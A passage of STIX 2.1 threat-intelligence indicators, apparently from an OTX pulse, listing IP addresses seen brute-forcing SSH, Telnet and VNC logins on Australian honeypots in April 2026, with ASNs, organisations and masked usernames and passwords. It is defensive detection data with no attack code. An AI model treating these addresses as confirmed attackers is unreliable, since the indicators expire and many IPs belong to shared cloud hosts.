    {
      "created": "2026-04-01T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--6086d054-4be7-4425-bb3f-36074a549363",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.26.82.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:15:10.000Z",
      "valid_until": "2026-05-03T19:15:08.000Z"
    },
    {
      "created": "2026-04-01T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56040. Organisation(s): China Mobile communications corporation. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--37082a9e-b187-48b1-aa35-66e6cfdc9330",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.241.79.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:15:10.000Z",
      "valid_until": "2026-05-03T19:15:08.000Z"
    },
    {
      "created": "2026-04-01T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--d979a237-b5b0-4a2b-afa8-c7c42007e5dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.128.221.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:15:10.000Z",
      "valid_until": "2026-05-03T19:15:08.000Z"
    },
    {
      "created": "2026-04-01T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--794bf065-70ab-4c6a-a293-32ba888bf194",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.59.245.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:15:10.000Z",
      "valid_until": "2026-05-03T19:15:08.000Z"
    },
    {
      "created": "2026-04-01T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC.",
      "id": "indicator--e323bfdd-441b-4ba8-94e1-29ed7ea384bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:15:10.000Z",
      "valid_until": "2026-05-03T19:15:08.000Z"
    },
    {
      "created": "2026-04-01T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 205800. Organisation(s): Steps Telecom For Internet Ltd.. Usernames observed (masked): ***, e****e, s***l. Passwords observed (masked): ***, **, s****m.",
      "id": "indicator--f611cffb-8350-4987-bdb4-f986e59da877",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.206.124.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:15:10.000Z",
      "valid_until": "2026-05-03T19:15:08.000Z"
    },
    {
      "created": "2026-04-01T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TN. ASN(s): 327934. Organisation(s): Tunisie-Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1*******!.",
      "id": "indicator--1344dd12-b415-4525-8b15-d1dd78c49e4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.5.145.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:15:10.000Z",
      "valid_until": "2026-05-03T19:15:08.000Z"
    },
    {
      "created": "2026-04-01T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--38a39ab7-ff4b-4458-bf51-6079bba3b605",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:15:10.000Z",
      "valid_until": "2026-05-03T19:15:08.000Z"
    },
    {
      "created": "2026-04-01T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--590e358b-6701-4b13-ba04-2caf71b8f5ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.43.69.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:15:10.000Z",
      "valid_until": "2026-05-03T19:15:08.000Z"
    },
    {
      "created": "2026-04-01T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t. Passwords observed (masked): Q******4, a******z, h****3.",
      "id": "indicator--1550df5c-afb4-4ad3-bd32-b5e2dcb0dfec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.189.234.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T20:15:10.000Z",
      "valid_until": "2026-05-03T20:15:09.000Z"
    },
    {
      "created": "2026-04-01T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 541. Sensors involved: Heralding. Target ports: 5900. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Passwords observed (masked): b******l, e******t, h******e, i******l, k******n.",
      "id": "indicator--7c833646-3700-4e24-a1b1-ef3c95ad8655",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T20:15:10.000Z",
      "valid_until": "2026-05-03T20:15:09.000Z"
    },
    {
      "created": "2026-04-01T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t. Passwords observed (masked): o******2.",
      "id": "indicator--a45d4748-a882-4bb5-9f8f-54a60eb27596",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.118.127.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T20:15:10.000Z",
      "valid_until": "2026-05-03T20:15:09.000Z"
    },
    {
      "created": "2026-04-01T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a***n.",
      "id": "indicator--051a4ff6-2621-45dc-ab73-f0427ed2d8de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.46.224.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T20:15:10.000Z",
      "valid_until": "2026-05-03T20:15:09.000Z"
    },
    {
      "created": "2026-04-01T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): P*********#.",
      "id": "indicator--2f655d6b-f9b1-4841-999f-0fc45f09d613",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.136.110.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T20:15:10.000Z",
      "valid_until": "2026-05-03T20:15:09.000Z"
    },
    {
      "created": "2026-04-01T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--93cdb146-9303-47fc-86d1-f8ce0f7b0082",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T20:15:10.000Z",
      "valid_until": "2026-05-03T20:15:09.000Z"
    },
    {
      "created": "2026-04-01T21:15:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 0****n, 1******B, 1**********C.",
      "id": "indicator--bf4aacd1-f21e-4ccb-b9a9-e5fe1fac1183",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T21:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.226.139.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T21:15:57.000Z",
      "valid_until": "2026-05-03T21:15:09.000Z"
    },
    {
      "created": "2026-04-01T21:15:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 270. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 24544. Organisation(s): Overcasts Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******q, 1*********t, 1*******7.",
      "id": "indicator--eee22484-4982-4ce1-ba78-e81d397de20e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T21:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.10.115.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T21:15:57.000Z",
      "valid_until": "2026-05-03T21:15:09.000Z"
    },
    {
      "created": "2026-04-01T21:15:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--3b35d916-38b4-48a5-8cb5-580699f04f43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T21:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.6.22.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T21:15:57.000Z",
      "valid_until": "2026-05-03T21:15:09.000Z"
    },
    {
      "created": "2026-04-01T21:15:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 248. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 0****n, 1******B, 1**********C.",
      "id": "indicator--7f92b9c1-0197-4718-9b43-babb3be96845",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T21:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.172.196.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T21:15:57.000Z",
      "valid_until": "2026-05-03T21:15:09.000Z"
    },
    {
      "created": "2026-04-01T21:15:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--a8661e6f-167c-475e-9e2b-ac76b81e5b54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T21:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.236.228.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T21:15:57.000Z",
      "valid_until": "2026-05-03T21:15:09.000Z"
    },
    {
      "created": "2026-04-01T21:15:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 270. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******q, 1*********t, 1**********c.",
      "id": "indicator--8e40ff95-164c-47e2-b12c-a9eae8bd165d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T21:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.12.41.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T21:15:57.000Z",
      "valid_until": "2026-05-03T21:15:09.000Z"
    },
    {
      "created": "2026-04-01T21:15:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 55081. Organisation(s): 24 SHELLS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******q, 1******s, 1*******7.",
      "id": "indicator--c7ca7f7c-d966-42c3-936b-622345d6d1bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T21:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '23.227.147.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T21:15:57.000Z",
      "valid_until": "2026-05-03T21:15:09.000Z"
    },
    {
      "created": "2026-04-01T21:15:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*********t, 1*******7, 1**********c.",
      "id": "indicator--a21e3ea9-34b5-4418-aec6-5c06b14c2d2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T21:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.69.152.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T21:15:57.000Z",
      "valid_until": "2026-05-03T21:15:09.000Z"
    },
    {
      "created": "2026-04-01T22:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 141140. Organisation(s): PT Jinde Grup Indonesia.",
      "id": "indicator--15c79056-de98-49e4-afd9-faea8027efab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.93.93.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T22:15:08.000Z",
      "valid_until": "2026-05-03T22:15:03.000Z"
    },
    {
      "created": "2026-04-01T22:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 955. Sensors involved: Heralding. Target ports: 5900. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Passwords observed (masked): 1******2, 1******4, S******n, a******r, b******y.",
      "id": "indicator--9b1d7a8e-33db-4382-80e0-231634ad8425",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T22:15:08.000Z",
      "valid_until": "2026-05-03T22:15:03.000Z"
    },
    {
      "created": "2026-04-01T22:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****r. Passwords observed (masked): d****r, t**r, w***h.",
      "id": "indicator--7b87bf4a-4637-49e3-a5fb-66e9f5ea5265",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.245.168.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T22:15:08.000Z",
      "valid_until": "2026-05-03T22:15:03.000Z"
    },
    {
      "created": "2026-04-01T22:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 60223. Organisation(s): Netiface Limited.",
      "id": "indicator--219fc22b-50ef-4492-b1d5-0aacd7ba0c09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.242.3.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T22:15:08.000Z",
      "valid_until": "2026-05-03T22:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 136180. Organisation(s): Beijing Tiantexin Tech. Co., Ltd..",
      "id": "indicator--1867f3ff-45a8-4f1b-b749-edcd49221a9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.203.57.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134756. Organisation(s): CHINANET Nanjing Jishan IDC network. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, 1*******~, 3***********4, A****4, Q*******3.",
      "id": "indicator--1914d4b1-3a94-4f70-a2f5-19d07ff652c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.62.203.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): a***n, e****e, l********l, s***l. Passwords observed (masked): m****m, p******h, **, s****m.",
      "id": "indicator--28d8ec95-1650-46ea-867a-cb9f6090673d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.124.109.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, P********7, S*******4, W*****e.",
      "id": "indicator--f4704c27-cfb6-4eb0-8232-29337ff5f372",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.231.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 266181. Organisation(s): GOLDEN LINK. Usernames observed (masked): r**t. Passwords observed (masked): c**e.",
      "id": "indicator--0dcd29d2-3342-4962-b006-6c1e1126809e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.233.118.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5f3579ea-321e-4d00-9219-f91ba950d9f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******~, 3***********4, 3**********4, A***n, Q*******3.",
      "id": "indicator--b0351d08-09b8-4fee-9820-0055e06504f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '39.123.249.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 131111. Organisation(s): PT Mora Telematika Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A****4, H*******@, P*******3.",
      "id": "indicator--5441edca-6206-48c9-9799-615a0eb6361d",
